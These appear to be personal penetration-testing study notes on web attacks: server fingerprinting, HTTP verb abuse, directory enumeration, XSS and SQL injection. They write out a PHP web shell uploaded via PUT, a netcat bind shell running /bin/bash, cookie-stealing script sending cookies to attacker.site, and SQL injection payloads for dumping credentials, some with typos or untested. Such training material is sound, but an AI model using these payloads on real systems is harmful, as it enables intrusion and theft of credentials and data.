Web Attacks

Fingerprinting with nc, openssl & httprint

Web applications use different technologies and programming paradigms compared to desktop apps:

  • Web applications often make up the vast majority of the internet-facing surface.

  • It can be done manually and by using automatic tools.

  • Fingerprinting a web server means:

    • Web Server Service: IIS, Apache, nginx.

    • Version.

    • OS hosting the server.

# Manual Banner grabbing by sending requests to the server
# Output will be different for a Debian Linux Box, Apache Server running on Red Hat, MS IIS running on a MS Windows.
# `Netcat` does not perform any kind of encryption, so you cannot use it for HTTPS.

> nc <target_address> 80    # You must write your request after running the command
HEAD / HTTP/1.0             #  Write the request in uppercase always.

# `openssl` is a CLI to manually use various features of the OpenSSL SSL/TLS toolkit
# You can use it to establish a connection to an HTTPS service then send the usual HEAD HTTP verb:

> openssl s_client -connect target.site:443

# Another example:
printf 'GET / HTTP/1.1\r\nHost: github.com\r\n\r\n' | ncat --ssl github.com 443

# `httprint` is a web server fingerprinting tool that uses a signature-based technique to identify webservers
> httpprint -P0 -h <target hosts> -s <signature file>

# -PO to avoid pinging the host
# -h <target hosts> tells the tool to fingerprint a list of hosts, it is advised to use the IP address of the hosts you want to test
# -s set the signature file to use

HTTP Verbs

  • REST APIs are specific type of webapp that relies strongly on almost all HTTP verbs

  • In REST APIs is common to use PUT for saving data, and not for saving files

  • If you confirm a PUT or DELETE during an engagement, you should confirm its exact impact twice

# GET is used to request a resource
GET /page.php HTTP/1.1
Host: www.example.site

# You can also pass arguments to the web application
GET /page.php?course=PTS HTTP/1.1
Host: www.example.site

# POST is used to submit HTML form data
# POST parameters must be in the message body
POST /login.php HTTP/1.1
Host: www.example.site


# HEAD is very similar to GET, as it asks just headers of the response instead of the response body
Host: www.example.site

# PUT is used to upload a file to a server
PUT /path/to/destination HTTP/1.1
Host: www.example.site


# DELETE is used to remove a file from the server
# Must be configured wisely as it might lead to DoS and data loss
DELETE /path/to/destination HTTP/1.1
Host: www.example.site

# OPTIONS is used to query the web server for enabled HTTP Verbs
Host: www.example.site

Exploiting Misconfigured HTTP verbs

  • 1st you enumerate verbs with an OPTIONS message in nc

  • To exploit the DELETE verb, you just have to specify the file you want to delete from the server

  • Exploiting PUT is more complex, because you have to know the size of the file you want to upload on the server, you can measure with wc -m file to count how long, in bytes, a payload is.

  • Misconfigured HTTP verbs are becoming rare in web servers.

  • You can still find a lot of misconfigured HTTP methods in embedded devices, IP cameras, digital video recorders and other smart devices.

nc victim.site 80
PUT /payload.php HTTP/1.0
Content-type: text/html
Content length: 20

<?php phpinfo(); ?>
# PHP Shell

> nc victim.site 80
PUT /payload.php HTTP/1.0
Content-type: text/html
Content-length: 136

if (isset($_GET['cmd'])) {
  $cmd = $_GET['cmd'];
  echo '<pre>';
  $result = shell_exec($cmd);
  echo $result;
  echo '</pre>';


# => server/listener
nc -lvp 8888
# -l listen
# -v verbose
# -p port
# -e execite

# => client
nc -v 8888

# => udp server
nc -lvup 9999

# => udp client
nc -vu localhost 9999

# Send text from Client to Server
# => Server
nc -lvp 8888 > received.txt
# => Client
echo "hello" | nc -v localhost 8888

# Send file from Client to Server
# => Server
nc -lvp 8888 > received.txt
# => Client
cat to_be_sent.txt | nc -v localhost 8888

# Bash command
# => Server
nc -lvp 5555 -e /bin/bash

# => client
echo 'ls' | nc -v localhost 5555

Directories and Files Enumeration

Ability to:

  • Find and utilize testing features

  • Exploit information saved in backup or old files

  • Find hidden resources

Enumeration helps you find those "hidden" resources that often contain:

  • New and untested features

  • Backup files

  • Testing information

  • Developer's notes

Two ways of enumerating resources:

  • Pure brute-force

  • Dictionary attacks


  • OWASP Dirbuster

    • Java application that can perform web resources enumeration

    • You can choose if you want to perform a pure brute-force or a dictionary-based brute-force

    • It's Linux alternative: dirb


dirb http://google.com /usr/share/dirb/wordlists/small.txt -a "USER AGENT HERE"

# Fill up Burpsuite with dirb requests
dirb http://google.com -p
dirb http://google.com -p -c "COOKIE:XYZ"
dirb http://google.com -p -u "admin:password" # basic auth
dirb http://google.com -p -H "MyHeader: MyContent" # basic auth
dirb http://google.com -z 1000 # Add a milliseconds delay to not cause excessive flood
# -S silent
dirb http://google.com -X ".php,.bak" # use extensions
dirb http://google.com -x extensions.txt -z 1000
dirb http://google.com -x extensions.txt -o results.txt # output results to file


# Find all machines in the network
nmap -sn

# Identify the machines role (.96 runs a webserver)
nmap -sV,198

Find hidden files via dirbuster:

You might find a config.old file where the MySQL database connection parameters are visible.

Google Hacking

Perform information gathering without contacting your targets, ability to find hidden resources: site:, intitle:, inurl:, filetype:, AND, OR, &, |, -

inurl:(htm|html|php|asp|jsp) intitle:"index of" "last modified" "parent directory" txt OR doc OR pdf

Cross Site Scripting

The attacker can target the web applications's users, and:

  • Modify the content of the site at run-time

  • Inject malicious contents

  • Steal the cookies, thus the session of a user

  • Perform actions on the web application as if it was a legitimate user

    User input is any parameter coming from the client-side of the webapp, as:

  • Request headers

  • Cookies

  • Form inputs

  • POST parameters

  • GET parameters

    Actors of a XSS attack:

Vulnerable WebsiteUser/Visitor (Victim)Penetration Tester

Inputs should always be validated server side

Code executed/rendered by the browser of the visiting users

Making their browsers load malicous content

Never ever trust user input

XSS vulnerabilities have low priority for developers, as it can be really hard for a victim to realize that an attack is in progress

Performing operations on their behalf, like buying a product or changing a password

Stealing the session cookies, thus being able to impersonate them on the vulnerable site

  • Reflection Point: When a search parameter is submitted through a form and gets displayed on the output in an XSS attack

  • After finding a reflection point, you have to understand if you can inject HTML code and see if it somehow gets to the output of the page

  • Test XSS: <script>alert('XSS')</script>

XSS Types


  • When the malicious payload is carried inside the request that browser of the victim sends to the vulnerable website

  • When users click on the link , the users trigger the attack

  • http://victim.site/search.php?find=<payload>

  • Called 'reflected' because an input field of the HTTP request sent by the browser gets immediately reflected to the output page

  • Google Chrome has a reflected XSS filter built in to avoid this attack, but only trivial ones


  • Occur when the payload is sent to the vulnerable web server and then stored.

  • When a web page of the vulnerable website pulls the stored malicious code and puts it within the HTML output, it will deliver the XSS payload

  • The malicious code gets delivered each and every time a web browser hits the "injected" web page

  • A single attack can exploit multiple web applications

  • The most common vector for persistent attacks are HTML forms that submit content to the web server and then display that content back to the users

  • Element such as comments, user profiles, and forum posts are potential vector for XSS attacks

DOM Based

Cookie Stealing via XSS

  • When HttpOnly flag is disabled, cookies can be stolen

  • <script>alert(document.cookie)</script>

  • With the following code, you can send cookies content to an attacker-controlled site:

  var i = new Image();
  i.src = "http://attacker.site/log.php?q="+escape(document.cookie);
$fp=fopen($filename, 'a');
fwrite($fp, $cookie);

SQL Injections

They allow an unauthorized user to take control over SQL statements used by a web application. This kind of attack has a huge impact on a web site because getting control over a backend database means controlling:

  • User's credentials

  • Data of the web application

  • Credit Card numbers

  • Shopping transactions

To find SQL injections, we need to check any user input (every input must be tested to conduct a professional pentest):

  • GET parameters

  • POST parameters

  • HTTP Headers

    • User-Agent

    • Cookie

    • Accept

Tests can be:

  • String terminators: ' and ''

  • SQL commands: SELECT, UNION and others

  • SQL comments: # or --

SQL basics

-- SELECT <columns list> FROM <table> WHERE <conditions>;
SELECT name, description FROM products WHERE id=9;

-- UNION command performs a union between
<SELECT statement> UNION <other SELECT statement>;

Vulnerable Dynamic Queries

-- This dynamic query expects $id values as a string:
SELECT Name, Description FROM Products WHERE ID='$id'

-- But what if an attacker crafts a $id value which can change the query to something like ` OR 'a'='a` then the query becomes:
SELECT Name, Description FORM Products WHERE UD='' OR 'a'='a';
-- ...which tells the database to select the items by checking two conditions which is always true.

-- An attacker could also exploit the UNION command by supplying the following:
-- ' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a
-- Thus it changes the original query to:

SELECT Name, Description FROM Products WHERE ID='' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a';

Boolean Based SQLi

Once penetration testers find a way to tell when a condition is true or false, they can ask the database some simple True/False questions:

  • Is the first letter of the username 'a'?

  • Does this database contain three tables?

  • ...

We can use two MySQL functions: user() and substring():

-- `user()` returns the name of the user currently using the database:
select user();

-- `substring()` returns a substring of the given argument. It takes 3 parameters:
--  - the input string
--  - the position of the substring
--  - its length

select substring('elarnsecurity', 2, 1)

-- We can use both together:
substring(user(), 1, 1);        -- it might return 'r' for 'root' user

substring(user(), 1, 1) = 'r'   -- if it returns 1 -> True; 0 -> False

-- Combining those features, we can iterate over the letters of the username by using payloads as:
-- ' or substr(user(), 1, 1) =='a
-- ' or substr(user(), 1, 1) =='b
-- when we find the first letter then we can move to the second and so on in order to guess the entire username.

UNION Based SQL Injections

Many times some of the results of a query are directly displayed on the output page. This behavior can be exploited using the UNION SQL command.

-- The following payload forces the web application to display the result of the `user()` function on the output page.

SELECT description FROM items where id='' UNION SELECT user(); -- -';

-- The comment at the end of the line prevents the following part of the original query from being parsed by the database, comments the rest from the original query.
-- The comment also contains a third dash because most of the browsers automatically remove trailing spaces in the URL so.
-- If you need to inject a comment via a GET request, you have to add a character after the trailing space of the comment*.
-- Also used if we don't want our web application to add anything in the url after our injection.

To exploit a SQL injection you first need to know how many fields the vulnerable query selects, you do this by trial and error. We know there's an injection by ' UNION SELECT null; -- -, this should display:

Warning: mysql_fetch_array() expects parameter 1 to be mysql_result, boolean given in /var/www/view.php on line 32
  • We can try with two fields: ' UNION SELECT null null; -- - and three even to confirm that the original query only has two fields.

  • Once we know how many fields are in the query it's time to test which fields are part of the output page.

  • You can do that by injecting some known values and checking thee results in the output page, as in: ' UNION SELECT 'elsid1', 'elsid2'; -- -.

  • Now we can exploit the injection: ' UNION SELECT user(), 'elsid2'; -- -.

  • Not only SELECT queries are vulnerable.


  • Can detect and exploit SQL injections

  • Needs to know the vulnerable URL and the parameter to test for a SQLi

sqlmap -u <URL> -p <injection parameter> [options]
sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U
sqlmap -u <url> --data=<POST string> -p id [options] # POST string as user=a&pass=a

# You can copy the POST string  from a request intercepted in Burp Suite
sqlmap -r file.req -p user
sqlmap -u '' --cookie="PHPSESSID=26faf41ffba440ce1346b8d8ca9408ac; security=low" -D dvwa -T users --dump

# --technique=U --> UNION based SQL injection technique
# --banner shows server's banner
# --flush-session

sqlmap -u -D awd -T accounts --dump

From discord (to test)

3' AND sleep(5) -- -
SELECT 1, schema_name,3 FROM information_schema.schemata limit 1,1-- -
SELECT 1, table_name,3 FROM information_schema.tables WHERE table_schema=hotel limit 1,1-- -
SELECT 1, column_name,3 FROM information_schema.columns WHERE table_schema=hotel and table_name=room limit 1,1
SELECT 1, table_name,3 FROM information_schema.tables limit 1,1-- -
SELECT group_concat(email,0x3a,Password) from awd.accounts limit 1,1;

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